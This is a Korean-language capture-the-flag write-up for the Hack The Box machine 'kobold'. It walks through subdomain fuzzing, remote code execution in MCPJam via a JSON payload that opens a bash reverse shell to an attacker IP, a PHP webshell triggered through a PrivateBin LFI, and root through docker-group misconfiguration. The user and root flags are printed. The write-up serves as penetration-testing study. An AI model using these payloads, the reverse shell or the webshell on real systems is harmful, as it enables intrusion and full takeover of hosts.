대상 서버 : 10.129.7.184 (HTB 머신 IP)
nmap 정찰 결과

SSH와 일반적인 웹포트만 열려있음을 알 수 있다 웹페이지에 접속해보자
ssh 접속시도 해보자

접속 시도는 할 수 있는걸로 보인다
웹페이지 접속을 해보자

웹페이지로 접속은 되었으나 딱히 건질만한 것은 없어보인다
특이점으로는 메인페이지가 아닌 페이지를 접근했을때 출력되는 화면이있다

이미지와 같이 file을 찾을 수 없다는 메시지가 출력된다
하위 페이지나 디렉터리를 퍼징해보자
// 추가로 http 접속을 시도하면 자동으로 https로 리다이렉팅 되는걸 확인했으므로 퍼징은 https 기준으로 시도함
wfuzz -c --hc 404 --hh 154 -z file,/usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt https://kobold.htb/FUZZ

하위 디렉터리나 웹페이지 퍼징에는 결과가 나오지 않았다
서브도메인이 있는지 확인해보자
wfuzz -c -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.kobold.htb" --hc 400,404 --hh 154 https://kobold.htb

서브도메인 퍼징 성공
bin, mcp임을 확인 접속시도
bin.kobold.htb 페이지


임의의 내용을 작성하여 서버의 저장후 조회해볼 수 있는주소를 제공하는 페이지 같다.
mcp.kobold.htb 페이지

mcpjam은 AI와 외부 서비스 및 데이터를 안전하게 연결해 주는 표준 규격인 MCP(모델 컨텍스트 프로토콜)
서버를 위한 공식 평가 및 개발 테스트 플랫폼(CLI 및 도구)입니다.
mcp 서버 개발 테스트 플랫폼인듯하다
해당 홈페이지를 서핑하다 서비스 버전정보를 확보 하였음

mcpjam : v1.4.2
관련 cve가 있는지 찾아보자
MCPJam v1.4.2 및 이전 버전에서는 인증되지 않은 HTTP 엔드포인트 노출로 인해
원격 코드 실행(RCE, CVE-2026-23744) 취약점이 발생합니다. 공격자는 이 취약점을 이용해 시스템에서
임의의 코드를 실행할 수 있습니다.
서칭 결과 RCE 취약점이 있었다고 한다
api를 통해서 서버 커넥션을 시도하는 과정에서 인증이나 검토없이 코드를 실행하는 취약점 인것 같다
임의의 서버로 연결을 시도해보자



보기 좋게 burp로 다시 데이터를 확보했음

command 와 args를 수정해서 쉘연결이 실행되는지 테스트 해보자
{
"serverConfig": {
"timeout": 5000,
"command": "bash",
"args": ["-c", "bash -i >& /dev/tcp/10.10.15.140/9001 0>&1"],
"env": {}
},
"serverId": "rshtest1"
}

쉘 업그레이드를 시도하자
리버스쉘에서 실행
python3 -c 'import pty; pty.spawn("/bin/bash")'
쉘 백그라운드 전환 후 로컬 터미널 설정
stty raw -echo; fg
다시원격 쉘에서
reset
export TERM=xterm-256color
stty rows 50 cols 220

쉘 업그레이드 성공
유저플래그를 획득하자

Userflag : af9a1b1cd1295a6596dfc2b8fc686d44
ben이 속한 operator 그룹이 확인할 수 있는 파일리스트를 추려보자
find / -group operator 2>/dev/null

PrivateBin 관련 페이지나 인증파일을 확인할 수 있을 것 같다
권한 상승을 위한 조사중에 의심스러운 프로세스를 발견

특이한 이름의 프로세스가 root 권한으로 돌아가고 있다 추가 조사해보자
우선 arcane이라는 이름으로 관련파일들을 찾아보자

arcane이라는 서비스가 시스템 서비스로 등록되어있다
해당 설정 파일을 읽어보자
cat /etc/systemd/system/arcane.service

암호화 키를 확보했다 아마 bin.kobold.htb에서 사용하는 암호화 키로 추정됨
암호화키 : Q3PbC9fpq/tPZ2waXI9+grmc8ualF7ITF5izX5rsk+E=
이리 저리 서버를 살펴보다가 도저히 답이 안보여 아까 확보하고 사용하지 않았던 bin.kobold.htb 페이지를 좀더 보다가
서비스명과 버전을 이제서야 확인하여 CVE를 조사해봤다
서비스명 : PrivateBin
버전 : 2.0.2
해당 버전에 LFI 취약점이 있음을 확인했으며 자세한 정보는 URL을 참조
https://nvd.nist.gov/vuln/detail/CVE-2025-64714
NVD - CVE-2025-64714
CVE-2025-64714 Detail Not Scheduled This CVE record is not being prioritized for NVD enrichment efforts due to resource or other concerns. Description PrivateBin is an online pastebin where the server has zero knowledge of pasted data. Starting in version
nvd.nist.gov
해당 취약점이 동작하려면 2가지 조건이 필요하다
1. templateselection이 활성화되어 있어야 함
2. PHP 파일을 어딘가에 "drop"할 수 있어야 함
하지만 확보한 ben계정이 operator 그룹에 속해있으며 해당 그룹은 /privatebin-data/data/에 쓰기권한이 있음을 확인 했다
내부 권한상승 공격체인 재구성
[ben - operator 그룹]
↓ PHP webshell 작성
/privatebin-data/data/pwn.php (host)
= 컨테이너 내부 data 디렉토리
↓ CVE-2025-64714 LFI 트리거
PrivateBin PHP 실행 (nobody 권한, Docker 컨테이너 내)
↓
172.17.0.1:3552 → arcane API (root 실행)
↓
root RCE
PHP webshell을 서버에 생성하자
echo '<?php if(isset($_GET["c"])){system($_GET["c"]);}?>' > /privatebin-data/data/pwn.php
LFI 트리거(로컬 칼리에서 시도)
curl -sk "https://bin.kobold.htb/?c=id" -b "template=../data/pwn"

도커 컨테이너 IP 확인
curl -sk "https://bin.kobold.htb/?c=ip+addr" -b "template=../data/pwn"

하지만 해당 IP를 통해서 API 엔드포인트를 찾는것에 실패했다

방향성이 잘못된것 같다.
도저히 방향을 못잡겠어서 권한상승 부분을 확인해봤다
그냥 획득한 ben의 쉘에서 새로운 도커그룹에 접근시도를 한다
newgrp docker

접근이 되었다..
도커그룹 PW가 설정되어 있지않아서 그렇다고 하는데....뭔가 찝찝하다
일단 도커접근이 되었으니 전체 파일시스템을 마운트해서 루트 쉘로 넘어가자
docker run -v /:/mnt --rm -it privatebin/nginx-fpm-alpine:2.0.2 chroot /mnt sh
쉘이 굳는현상이 발생하여 추가 조사결과 해당 이미지의 기본 entrypoint가 php-fpm을 시작하면서 쉘이 막히는 현상이라고함
docker run --entrypoint="" -v /:/mnt --rm -it privatebin/nginx-fpm-alpine:2.0.2 chroot /mnt sh
접근은 되었지만 nobody로 접근되어서 chroot로 권한상승하는 것에 실패함
도커생성시에 -u 0 옵선을 통해서 컨테이너 생성시 내부에서 root를 강제해 주자
docker run --rm -it -u 0 --entrypoint sh -v /:/mnt privatebin/nginx-fpm-alpine:2.0.2
이후 마운트한 디렉터리에서 쉘을 실행하자
chroot /mnt sh

루트권한을 획득했으니 플레그를 추출하자

root flag : ad245d1a7cadb58e0506ce202eee8627
이번 문제에서는 서버 내부로 침투후 권한상승하는 부분에서 상당한 시간이 소요되었으나 그럼에도 불구하고 방향성을 못잡아서 라이트업을 참고하게 되었다 참으로 찝찝하다
여기서 더욱 찝찝한부분은 아직도 ben의 권한의 쉘에서 바로 docker 그룹으로 넘어가는 부분의 연결과정을 이해하지 못하겠다
최종 공격흐름 요약
[풀이 시작]
↓ MCPJam command injection
[ben shell] ← operator 그룹
↓ /privatebin-data/ 쓰기 → PHP webshell drop
[CVE-2025-64714 LFI]
↓ nobody (Docker 컨테이너)
↑ (컨테이너 탈출 불가 - docker.sock 미마운트)
[ben shell]
↓ newgrp docker (그룹 패스워드 빈값 misconfiguration)
[docker 그룹 권한]
↓ docker run -v /:/mnt
[root 획득]